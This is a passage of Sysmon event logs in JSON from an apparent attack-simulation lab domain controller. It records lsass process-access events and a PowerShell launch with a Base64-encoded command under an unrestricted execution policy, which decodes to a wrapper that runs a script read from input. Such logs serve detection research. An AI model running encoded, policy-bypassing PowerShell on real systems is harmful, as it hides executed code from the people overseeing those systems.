C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.853\r\nProcessGuid: {90617006-4171-5F2D-0000-0010F6800800}\r\nProcessId: 4584\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ihfv4atz.xyp.ps1\r\nCreationUtcTime: 2020-08-07 11:56:33.853","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.853","ProcessGuid":"{90617006-4171-5F2D-0000-0010F6800800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ihfv4atz.xyp.ps1","CreationUtcTime":"2020-08-07 11:56:33.853","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.989\r\nProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nProcessId: 4580\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-4171-5F2D-0000-0010F6800800}\r\nParentProcessId: 4584\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.989","ProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 